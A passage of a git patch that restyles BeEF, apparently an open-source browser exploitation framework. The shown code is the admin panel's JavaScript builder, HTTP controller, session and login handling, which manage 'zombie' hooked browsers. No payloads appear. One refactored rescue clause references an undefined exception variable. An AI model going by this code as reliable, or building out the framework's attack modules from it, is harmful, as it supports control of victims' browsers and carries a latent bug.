From aa7a6f9e644ef8da9006a28379f0193df00dba99 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 22 Jan 2022 11:16:12 +0000 Subject: [PATCH] Extensions: Resolve many Rubocop violations --- extensions/admin_ui/api/handler.rb | 273 ++-- extensions/admin_ui/classes/httpcontroller.rb | 333 ++--- extensions/admin_ui/classes/session.rb | 186 ++- extensions/admin_ui/constants/icons.rb | 30 +- .../authentication/authentication.rb | 234 ++-- .../admin_ui/controllers/modules/modules.rb | 1151 +++++++++-------- .../admin_ui/controllers/panel/panel.rb | 1 - extensions/admin_ui/extension.rb | 18 +- extensions/admin_ui/handlers/ui.rb | 67 +- extensions/autoloader/extension.rb | 9 +- extensions/autoloader/model.rb | 18 +- extensions/console/extension.rb | 38 +- extensions/console/lib/command_dispatcher.rb | 29 +- .../console/lib/command_dispatcher/command.rb | 362 +++--- .../console/lib/command_dispatcher/core.rb | 995 +++++++------- .../console/lib/command_dispatcher/target.rb | 546 ++++---- extensions/console/lib/shellinterface.rb | 813 ++++++------ extensions/console/shell.rb | 107 +- extensions/customhook/api.rb | 40 +- extensions/customhook/extension.rb | 24 +- extensions/customhook/handler.rb | 67 +- extensions/demos/api.rb | 7 +- extensions/demos/handler.rb | 2 - extensions/dns/api.rb | 15 +- extensions/dns/dns.rb | 138 +- extensions/dns/extension.rb | 5 +- extensions/dns/logger.rb | 2 - extensions/dns/model.rb | 138 +- extensions/dns/rest/dns.rb | 201 ++- extensions/dns_rebinding/api.rb | 45 +- extensions/dns_rebinding/dns_rebinding.rb | 353 +++-- extensions/dns_rebinding/extension.rb | 22 +- extensions/etag/api.rb | 27 +- extensions/etag/etag.rb | 86 +- extensions/etag/extension.rb | 26 +- extensions/evasion/evasion.rb | 10 +- extensions/evasion/extension.rb | 18 +- extensions/evasion/obfuscation/base_64.rb | 7 +- extensions/evasion/obfuscation/minify.rb | 9 +- extensions/evasion/obfuscation/scramble.rb | 35 +- extensions/evasion/obfuscation/whitespace.rb | 16 +- extensions/events/api.rb | 41 +- extensions/events/extension.rb | 24 +- extensions/events/handler.rb | 143 +- extensions/ipec/extension.rb | 53 +- extensions/ipec/junk_calculator.rb | 13 +- extensions/ipec/models/ipec_exploits.rb | 3 - extensions/ipec/models/ipec_exploits_run.rb | 3 - extensions/ipec/rest/ipec.rb | 67 +- extensions/metasploit/api.rb | 9 +- extensions/metasploit/rest/msf.rb | 4 +- extensions/metasploit/rpcclient.rb | 19 +- extensions/network/models/network_host.rb | 2 +- extensions/network/models/network_service.rb | 5 +- extensions/network/rest/network.rb | 200 ++- extensions/notifications/channels/email.rb | 64 +- extensions/notifications/channels/pushover.rb | 21 +- .../notifications/channels/slack_workspace.rb | 50 +- extensions/notifications/channels/tweet.rb | 50 +- extensions/notifications/extension.rb | 20 +- extensions/notifications/notifications.rb | 61 +- extensions/proxy/api.rb | 9 +- extensions/proxy/extension.rb | 20 +- extensions/proxy/proxy.rb | 120 +- extensions/proxy/rest/proxy.rb | 70 +- extensions/qrcode/extension.rb | 18 +- extensions/qrcode/qrcode.rb | 149 +-- extensions/requester/api.rb | 34 +- extensions/requester/api/hook.rb | 100 +- extensions/requester/extension.rb | 9 +- extensions/requester/handler.rb | 37 +- extensions/requester/models/http.rb | 39 +- extensions/requester/rest/requester.rb | 365 +++--- extensions/s2c_dns_tunnel/api.rb | 24 +- extensions/s2c_dns_tunnel/dnsd.rb | 73 +- extensions/s2c_dns_tunnel/extension.rb | 4 +- extensions/s2c_dns_tunnel/httpd.rb | 5 +- extensions/social_engineering/extension.rb | 13 +- .../mass_mailer/mass_mailer.rb | 201 ++- .../social_engineering/models/interceptor.rb | 3 - .../social_engineering/models/mass_mailer.rb | 3 - .../social_engineering/models/web_cloner.rb | 3 - .../powershell/bind_powershell.rb | 9 +- .../rest/socialengineering.rb | 67 +- .../web_cloner/interceptor.rb | 68 +- .../web_cloner/web_cloner.rb | 217 ++-- extensions/webrtc/rest/webrtc.rb | 579 ++++----- extensions/xssrays/api.rb | 48 +- extensions/xssrays/api/scan.rb | 28 +- extensions/xssrays/extension.rb | 10 +- extensions/xssrays/handler.rb | 41 +- extensions/xssrays/models/xssraysdetail.rb | 21 +- extensions/xssrays/models/xssraysscan.rb | 21 +- extensions/xssrays/rest/xssrays.rb | 249 ++-- 94 files changed, 4874 insertions(+), 5138 deletions(-) diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index e99f8cab5..21d3038e6 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -4,146 +4,149 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI -module API + module Extension + module AdminUI + module API + # + # We use this module to register all the http handler for the Administrator UI + # + module Handler + require 'uglifier' - # - # We use this module to register all the http handler for the Administrator UI - # - module Handler - require 'uglifier' + BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler') - BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler') + def self.evaluate_and_minify(content, params, name) + erubis = Erubis::FastEruby.new(content) + evaluated = erubis.evaluate(params) - def self.evaluate_and_minify(content, params, name) - erubis = Erubis::FastEruby.new(content) - evaluated = erubis.evaluate(params) + print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)" + begin + opts = { + output: { + comments: :none + }, + compress: { + dead_code: true + }, + harmony: true + } + minified = Uglifier.compile(evaluated, opts) + print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)" + rescue StandardError + print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}" + print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !" + minified = evaluated + end + write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+') + File.write(write_to, minified) - print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)" - begin - opts = { - :output => { - :comments => :none - }, - :compress => { - :dead_code => true, - }, - :harmony => true - } - minified = Uglifier.compile(evaluated, opts) - print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)" - rescue - print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}" - print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !" - minified = evaluated + File.path write_to + rescue StandardError => e + print_error "[AdminUI] Error: #{e.message}" + print_error e.backtrace + end + + def self.build_javascript_ui(beef_server) + # NOTE: order counts! make sure you know what you're doing if you add files + esapi = %w[ + esapi/Class.create.js + esapi/jquery-3.3.1.min.js + esapi/jquery-encoder-0.1.0.js + ] + + ux = %w[ + ui/common/beef_common.js + ux/PagingStore.js + ux/StatusBar.js + ux/TabCloseMenu.js + ] + + panel = %w[ + ui/panel/common.js + ui/panel/PanelStatusBar.js + ui/panel/tabs/ZombieTabDetails.js + ui/panel/tabs/ZombieTabLogs.js + ui/panel/tabs/ZombieTabCommands.js + ui/panel/tabs/ZombieTabRider.js + ui/panel/tabs/ZombieTabXssRays.js + wterm/wterm.jquery.js + ui/panel/tabs/ZombieTabIpec.js + ui/panel/tabs/ZombieTabAutorun.js + ui/panel/PanelViewer.js + ui/panel/LogsDataGrid.js + ui/panel/BrowserDetailsDataGrid.js + ui/panel/ZombieDataGrid.js + ui/panel/MainPanel.js + ui/panel/ZombieTab.js + ui/panel/ZombieTabs.js + ui/panel/zombiesTreeList.js + ui/panel/ZombiesMgr.js + ui/panel/tabs/ZombieTabNetwork.js + ui/panel/tabs/ZombieTabRTC.js + ui/panel/Logout.js + ui/panel/WelcomeTab.js + ui/panel/ModuleSearching.js + ] + + global_js = esapi + ux + panel + + js_files = '' + global_js.each do |file| + js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n") + end + + config = BeEF::Core::Configuration.instance + bp = config.get 'beef.extension.admin_ui.base_path' + + # if more dynamic variables are needed in JavaScript files + # add them here in the following Hash + params = { + 'base_path' => bp + } + + # process all JavaScript files, evaluating them with Erubis + print_debug '[AdminUI] Initializing admin panel ...' + web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all') + auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n" + web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth') + + beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all)) + beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth)) + end + + # + # This function gets called automatically by the server. + # + def self.mount_handler(beef_server) + config = BeEF::Core::Configuration.instance + + # Web UI base path, like http://beef_domain//panel + bp = config.get 'beef.extension.admin_ui.base_path' + + # registers the http controllers used by BeEF core (authentication, logs, modules and panel) + Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module| + require http_module + mod_name = File.basename http_module, '.rb' + beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name)) + end + + # mount the folder were we store static files (javascript, css, images, audio) for the admin ui + media_dir = "#{File.dirname(__FILE__)}/../media/" + beef_server.mount("#{bp}/media", Rack::File.new(media_dir)) + + # If we're not imitating a web server, mount the favicon to /favicon.ico + unless config.get('beef.http.web_server_imitation.enable') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( + "/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}", + '/favicon.ico', + 'ico' + ) + end + + build_javascript_ui beef_server + end + end end - write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+") - File.open(write_to, 'w') { |file| file.write(minified) } - - File.path write_to - rescue => e - print_error "[AdminUI] Error: #{e.message}" - print_error e.backtrace - end - - def self.build_javascript_ui(beef_server) - #NOTE: order counts! make sure you know what you're doing if you add files - esapi = %w( - esapi/Class.create.js - esapi/jquery-3.3.1.min.js - esapi/jquery-encoder-0.1.0.js) - - ux = %w( - ui/common/beef_common.js - ux/PagingStore.js - ux/StatusBar.js - ux/TabCloseMenu.js) - - panel = %w( - ui/panel/common.js - ui/panel/PanelStatusBar.js - ui/panel/tabs/ZombieTabDetails.js - ui/panel/tabs/ZombieTabLogs.js - ui/panel/tabs/ZombieTabCommands.js - ui/panel/tabs/ZombieTabRider.js - ui/panel/tabs/ZombieTabXssRays.js - wterm/wterm.jquery.js - ui/panel/tabs/ZombieTabIpec.js - ui/panel/tabs/ZombieTabAutorun.js - ui/panel/PanelViewer.js - ui/panel/LogsDataGrid.js - ui/panel/BrowserDetailsDataGrid.js - ui/panel/ZombieDataGrid.js - ui/panel/MainPanel.js - ui/panel/ZombieTab.js - ui/panel/ZombieTabs.js - ui/panel/zombiesTreeList.js - ui/panel/ZombiesMgr.js - ui/panel/tabs/ZombieTabNetwork.js - ui/panel/tabs/ZombieTabRTC.js - ui/panel/Logout.js - ui/panel/WelcomeTab.js - ui/panel/ModuleSearching.js) - - global_js = esapi + ux + panel - - js_files = '' - global_js.each do |file| - js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n" - end - - config = BeEF::Core::Configuration.instance - bp = config.get "beef.extension.admin_ui.base_path" - - # if more dynamic variables are needed in JavaScript files - # add them here in the following Hash - params = { - 'base_path' => bp - } - - # process all JavaScript files, evaluating them with Erubis - print_debug "[AdminUI] Initializing admin panel ..." - web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all') - auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n" - web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth') - - beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all)) - beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth)) - end - - # - # This function gets called automatically by the server. - # - def self.mount_handler(beef_server) - config = BeEF::Core::Configuration.instance - - # Web UI base path, like http://beef_domain//panel - bp = config.get "beef.extension.admin_ui.base_path" - - # registers the http controllers used by BeEF core (authentication, logs, modules and panel) - Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module| - require http_module - mod_name = File.basename http_module, '.rb' - beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name)) - end - - # mount the folder were we store static files (javascript, css, images, audio) for the admin ui - media_dir = File.dirname(__FILE__)+'/../media/' - beef_server.mount("#{bp}/media", Rack::File.new(media_dir)) - - # If we're not imitating a web server, mount the favicon to /favicon.ico - if !config.get("beef.http.web_server_imitation.enable") - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( - "/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}", - '/favicon.ico', - 'ico') - end - - self.build_javascript_ui beef_server end end end -end -end -end diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb index d61d5f622..450ec070a 100644 --- a/extensions/admin_ui/classes/httpcontroller.rb +++ b/extensions/admin_ui/classes/httpcontroller.rb @@ -4,178 +4,179 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - class HttpController - - attr_accessor :headers, :status, :body, :paths, :currentuser, :params - - C = BeEF::Core::Models::Command - CM = BeEF::Core::Models::CommandModule - Z = BeEF::Core::Models::HookedBrowser - - # - # Class constructor. Takes data from the child class and populates itself with it. - # - def initialize(data = {}) - @erubis = nil - @status = 200 if data['status'].nil? - @session = BeEF::Extension::AdminUI::Session.instance + module Extension + module AdminUI + # + # Handle HTTP requests and call the relevant functions in the derived classes + # + class HttpController + attr_accessor :headers, :status, :body, :paths, :currentuser, :params - @config = BeEF::Core::Configuration.instance - @bp = @config.get "beef.extension.admin_ui.base_path" + C = BeEF::Core::Models::Command + CM = BeEF::Core::Models::CommandModule + Z = BeEF::Core::Models::HookedBrowser - @headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil? + # + # Class constructor. Takes data from the child class and populates itself with it. + # + def initialize(data = {}) + @erubis = nil + @status = 200 if data['status'].nil? + @session = BeEF::Extension::AdminUI::Session.instance - if data['paths'].nil? and self.methods.include? "index" - @paths = {'index' => '/'} - else - @paths = data['paths'] - end - end + @config = BeEF::Core::Configuration.instance + @bp = @config.get 'beef.extension.admin_ui.base_path' - # - # Authentication check. Confirm the request to access the UI comes from a permitted IP address - # - def authenticate_request(ip) - auth = BeEF::Extension::AdminUI::Controllers::Authentication.new - if !auth.permitted_source?(ip) - if @config.get("beef.http.web_server_imitation.enable") - type = @config.get("beef.http.web_server_imitation.type") - case type - when "apache" - @body = BeEF::Core::Router::APACHE_BODY - @status = 404 - @headers = BeEF::Core::Router::APACHE_HEADER - return false - when "iis" - @body = BeEF::Core::Router::IIS_BODY - @status = 404 - @headers = BeEF::Core::Router::IIS_HEADER - return false - when "nginx" - @body = BeEF::Core::Router::APACHE_BODY - @status = 404 - @headers = BeEF::Core::Router::APACHE_HEADER - return false - else - @body = "Not Found." - @status = 404 - @headers = {"Content-Type" => "text/html"} - return false - end - else - @body = "Not Found." - @status = 404 - @headers = {"Content-Type" => "text/html"} - return false + @headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil? + + # @todo what if paths is nil and methods does not include 'index' ? + @paths = if data['paths'].nil? and methods.include? 'index' + { 'index' => '/' } + else + data['paths'] + end + end + + # + # Authentication check. Confirm the request to access the UI comes from a permitted IP address + # + def authenticate_request(ip) + auth = BeEF::Extension::AdminUI::Controllers::Authentication.new + return true if auth.permitted_source?(ip) + + unless @config.get('beef.http.web_server_imitation.enable') + @body = 'Not Found.' + @status = 404 + @headers = { 'Content-Type' => 'text/html' } + return false + end + + type = @config.get('beef.http.web_server_imitation.type') + case type + when 'apache' + @body = BeEF::Core::Router::APACHE_BODY + @status = 404 + @headers = BeEF::Core::Router::APACHE_HEADER + when 'iis' + @body = BeEF::Core::Router::IIS_BODY + @status = 404 + @headers = BeEF::Core::Router::IIS_HEADER + when 'nginx' + @body = BeEF::Core::Router::APACHE_BODY + @status = 404 + @headers = BeEF::Core::Router::APACHE_HEADER + else + @body = 'Not Found.' + @status = 404 + @headers = { 'Content-Type' => 'text/html' } + end + + false + rescue StandardError + print_error "authenticate_request failed: #{e.message}" + false + end + + # + # Check if reverse proxy has been enabled and return the correct client IP address + # + def get_ip(request) + if @config.get('beef.http.allow_reverse_proxy') + request.ip # Get client x-forwarded-for ip address + else + request.get_header('REMOTE_ADDR') # Get client remote ip address + end + end + + # + # Handle HTTP requests and call the relevant functions in the derived classes + # + def run(request, response) + @request = request + @params = request.params + + # Web UI base path, like http://beef_domain//panel + auth_url = "#{@bp}/authentication" + + # If access to the UI is not permitted for the request IP address return a 404 + return unless authenticate_request(get_ip(@request)) + + # test if session is unauth'd and whether the auth functionality is requested + if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication) + @body = '' + @status = 302 + @headers = { 'Location' => auth_url } + return + end + + # get the mapped function (if it exists) from the derived class + path = request.path_info + unless BeEF::Filters.is_valid_path_info?(path) + print_error "[Admin UI] Path is not valid: #{path}" + return + end + + function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' + if function.nil? + print_error "[Admin UI] Path does not exist: #{path}" + return + end + + # call the relevant mapped function + function.call + + # build the template filename and apply it - if the file exists + function_name = function.name # used for filename + class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name + template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html" + @eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file + @body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response + + # set appropriate content-type 'application/json' for .json files + @headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/ + + # set content type + if @headers['Content-Type'].nil? + @headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages + end + rescue StandardError => e + print_error "Error handling HTTP request: #{e.message}" + print_error e.backtrace + end + + # Constructs a html script tag (from media/javascript directory) + def script_tag(filename) + "" + end + + # Constructs a html script tag (from media/javascript-min directory) + def script_tag_min(filename) + "" + end + + # Constructs a html stylesheet tag + def stylesheet_tag(filename) + "" + end + + # Constructs a hidden html nonce tag + def nonce_tag + "" + end + + def base_path + @bp.to_s + end + + private + + @eruby + + # Unescapes a URL-encoded string. + def unescape(s) + s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') } end - else - return true end end - - # - # Check if reverse proxy has been enabled and return the correct client IP address - # - def get_ip(request) - if !@config.get("beef.http.allow_reverse_proxy") - ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address - else - ua_ip = request.ip # Get client x-forwarded-for ip address - end - ua_ip - end - - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - def run(request, response) - @request = request - @params = request.params - - # Web UI base path, like http://beef_domain//panel - auth_url = "#{@bp}/authentication" - - # If access to the UI is not permitted for the request IP address return a 404 - if !authenticate_request(get_ip(@request)) - return - end - - # test if session is unauth'd and whether the auth functionality is requested - if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication) - @body = '' - @status = 302 - @headers = {'Location' => auth_url} - return - end - - # get the mapped function (if it exists) from the derived class - path = request.path_info - (print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path) - function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' - (print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil? - - # call the relevant mapped function - function.call - - # build the template filename and apply it - if the file exists - function_name = function.name # used for filename - class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name - template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html" - @eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file - @body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response - - # set appropriate content-type 'application/json' for .json files - @headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/ - - # set content type - if @headers['Content-Type'].nil? - @headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages - end - rescue => e - print_error "Error handling HTTP request: #{e.message}" - print_error e.backtrace - end - - # Constructs a html script tag (from media/javascript directory) - def script_tag(filename) - "" - end - - # Constructs a html script tag (from media/javascript-min directory) - def script_tag_min(filename) - "" - end - - # Constructs a html stylesheet tag - def stylesheet_tag(filename) - "" - end - - # Constructs a hidden html nonce tag - def nonce_tag - "" - end - - def base_path - @bp.to_s - end - - private - - @eruby - - # Unescapes a URL-encoded string. - def unescape(s) - s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} - end end end -end -end diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb index 05da07329..43827467d 100644 --- a/extensions/admin_ui/classes/session.rb +++ b/extensions/admin_ui/classes/session.rb @@ -4,112 +4,108 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI + module Extension + module AdminUI + # + # The session for BeEF UI. + # + class Session + include Singleton -# -# The session for BeEF UI. -# -class Session - - include Singleton - - attr_reader :ip, :id, :nonce, :auth_timestamp - - def initialize - set_logged_out - @auth_timestamp = Time.new - end + attr_reader :ip, :id, :nonce, :auth_timestamp - # - # set the session logged in - # - def set_logged_in(ip) - @id = BeEF::Core::Crypto::secure_token - @nonce = BeEF::Core::Crypto::secure_token - @ip = ip - end - - # - # set the session logged out - # - def set_logged_out - @id = nil - @nonce = nil - @ip = nil - end + def initialize + set_logged_out + @auth_timestamp = Time.new + end - # - # set teh auth_timestamp - # - def set_auth_timestamp(time) - @auth_timestamp = time - end + # + # set the session logged in + # + def set_logged_in(ip) + @id = BeEF::Core::Crypto.secure_token + @nonce = BeEF::Core::Crypto.secure_token + @ip = ip + end - # - # return the session id - # - def get_id - @id - end - - # - # return the nonce - # - def get_nonce - @nonce - end + # + # set the session logged out + # + def set_logged_out + @id = nil + @nonce = nil + @ip = nil + end - # - # return the auth_timestamp - # - def get_auth_timestamp - @auth_timestamp - end + # + # set teh auth_timestamp + # + def set_auth_timestamp(time) + @auth_timestamp = time + end - # - # Check if nonce valid - # - def valid_nonce?(request) + # + # return the session id + # + def get_id + @id + end - # check if a valid session - return false if not valid_session?(request) - return false if @nonce.nil? - return false if not request.post? + # + # return the nonce + # + def get_nonce + @nonce + end - # get nonce from request - request_nonce = request['nonce'] - return false if request_nonce.nil? - - # verify nonce - request_nonce.eql? @nonce - - end + # + # return the auth_timestamp + # + def get_auth_timestamp + @auth_timestamp + end - # - # Check if a session valid - # - def valid_session?(request) - # check if a valid session exists - return false if @id.nil? - return false if @ip.nil? + # + # Check if nonce valid + # + def valid_nonce?(request) + # check if a valid session + return false unless valid_session?(request) + return false if @nonce.nil? + return false unless request.post? - # check ip address matches - return false if not @ip.to_s.eql? request.ip + # get nonce from request + request_nonce = request['nonce'] + return false if request_nonce.nil? - # get session cookie name from config - session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name') + # verify nonce + request_nonce.eql? @nonce + end - # check session id matches - request.cookies.each{|cookie| - return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) - } - request - - # not a valid session - false + # + # Check if a session valid + # + def valid_session?(request) + # check if a valid session exists + return false if @id.nil? + return false if @ip.nil? + + # check ip address matches + return false unless @ip.to_s.eql? request.ip + + # get session cookie name from config + session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name') + + # check session id matches + request.cookies.each do |cookie| + return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) + end + request + + # not a valid session + false + end + end + end end end -end -end -end diff --git a/extensions/admin_ui/constants/icons.rb b/extensions/admin_ui/constants/icons.rb index 36d585bcc..7b4163f0c 100644 --- a/extensions/admin_ui/constants/icons.rb +++ b/extensions/admin_ui/constants/icons.rb @@ -4,22 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI -module Constants - - module Icons - - VERIFIED_NOT_WORKING_IMG = 'red.png' - VERIFIED_USER_NOTIFY_IMG = 'orange.png' - VERIFIED_WORKING_IMG = 'green.png' - VERIFIED_UNKNOWN_IMG = 'grey.png' - - MODULE_TARGET_IMG_PATH = 'media/images/icons/' - + module Extension + module AdminUI + module Constants + module Icons + VERIFIED_NOT_WORKING_IMG = 'red.png' + VERIFIED_USER_NOTIFY_IMG = 'orange.png' + VERIFIED_WORKING_IMG = 'green.png' + VERIFIED_UNKNOWN_IMG = 'grey.png' + + MODULE_TARGET_IMG_PATH = 'media/images/icons/' + end + end + end end - end -end -end -end \ No newline at end of file diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb index 77c744d8d..9b0cf2224 100644 --- a/extensions/admin_ui/controllers/authentication/authentication.rb +++ b/extensions/admin_ui/controllers/authentication/authentication.rb @@ -4,129 +4,129 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI -module Controllers + module Extension + module AdminUI + module Controllers + # + # The authentication web page for BeEF. + # + class Authentication < BeEF::Extension::AdminUI::HttpController + # + # Constructor + # + def initialize + super({ + 'paths' => { + '/' => method(:index), + '/login' => method(:login), + '/logout' => method(:logout) + } + }) -# -# The authentication web page for BeEF. -# -class Authentication < BeEF::Extension::AdminUI::HttpController + @session = BeEF::Extension::AdminUI::Session.instance + end - # - # Constructor - # - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/login' => method(:login), - '/logout' => method(:logout) - } - }) + # Function managing the index web page + def index + @headers['Content-Type'] = 'text/html; charset=UTF-8' + @headers['X-Frame-Options'] = 'sameorigin' + end - @session = BeEF::Extension::AdminUI::Session.instance - end + # + # Function managing the login + # + def login + username = @params['username-cfrm'] || '' + password = @params['password-cfrm'] || '' + config = BeEF::Core::Configuration.instance + @headers['Content-Type'] = 'application/json; charset=UTF-8' + @headers['X-Frame-Options'] = 'sameorigin' + ua_ip = if config.get('beef.http.allow_reverse_proxy') + @request.ip # get client ip address + else + @request.get_header('REMOTE_ADDR') + end + @body = '{ success : false }' # attempt to fail closed + # check if source IP address is permitted to authenticate + unless permitted_source?(ua_ip) + BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.") + return + end - # Function managing the index web page - def index - @headers['Content-Type']='text/html; charset=UTF-8' - @headers['X-Frame-Options']='sameorigin' - end + # check if under brute force attack + return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay', + @session.get_auth_timestamp, + ->(time) { @session.set_auth_timestamp(time) }) - # - # Function managing the login - # - def login + # check username and password + unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.") + return + end - username = @params['username-cfrm'] || '' - password = @params['password-cfrm'] || '' - config = BeEF::Core::Configuration.instance - @headers['Content-Type']='application/json; charset=UTF-8' - @headers['X-Frame-Options']='sameorigin' - if !config.get("beef.http.allow_reverse_proxy") - ua_ip = @request.get_header('REMOTE_ADDR') - else - ua_ip = @request.ip # get client ip address + # establish an authenticated session + + # set up session and set it logged in + @session.set_logged_in(ua_ip) + + # create session cookie + session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name + Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true }) + + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.") + @body = '{ success : true }' + end + + # + # Function managing the logout + # + def logout + # test if session is unauth'd + unless @session.valid_nonce?(@request) + (print_error 'invalid nonce' + return @body = '{ success : true }') + end + unless @session.valid_session?(@request) + (print_error 'invalid session' + return @body = '{ success : true }') + end + + @headers['Content-Type'] = 'application/json; charset=UTF-8' + @headers['X-Frame-Options'] = 'sameorigin' + + # set the session to be log out + @session.set_logged_out + + # clean up UA and expire the session cookie + config = BeEF::Core::Configuration.instance + session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name + Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now }) + + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.") + @body = '{ success : true }' + end + + # + # Check the UI browser source IP is within the permitted subnet + # + def permitted_source?(ip) + # test if supplied IP address is valid + return false unless BeEF::Filters.is_valid_ip?(ip) + + # get permitted subnets + permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet') + return false if permitted_ui_subnet.nil? + return false if permitted_ui_subnet.empty? + + # test if ip within subnets + permitted_ui_subnet.each do |subnet| + return true if IPAddr.new(subnet).include?(ip) + end + + false + end + end + end end - @body = '{ success : false }' # attempt to fail closed - # check if source IP address is permitted to authenticate - if not permitted_source?(ua_ip) - BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.") - return - end - - # check if under brute force attack - return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay', - @session.get_auth_timestamp(), - lambda { |time| @session.set_auth_timestamp(time)}) - - # check username and password - if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') ) - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.") - return - end - - # establish an authenticated session - - # set up session and set it logged in - @session.set_logged_in(ua_ip) - - # create session cookie - session_cookie_name = 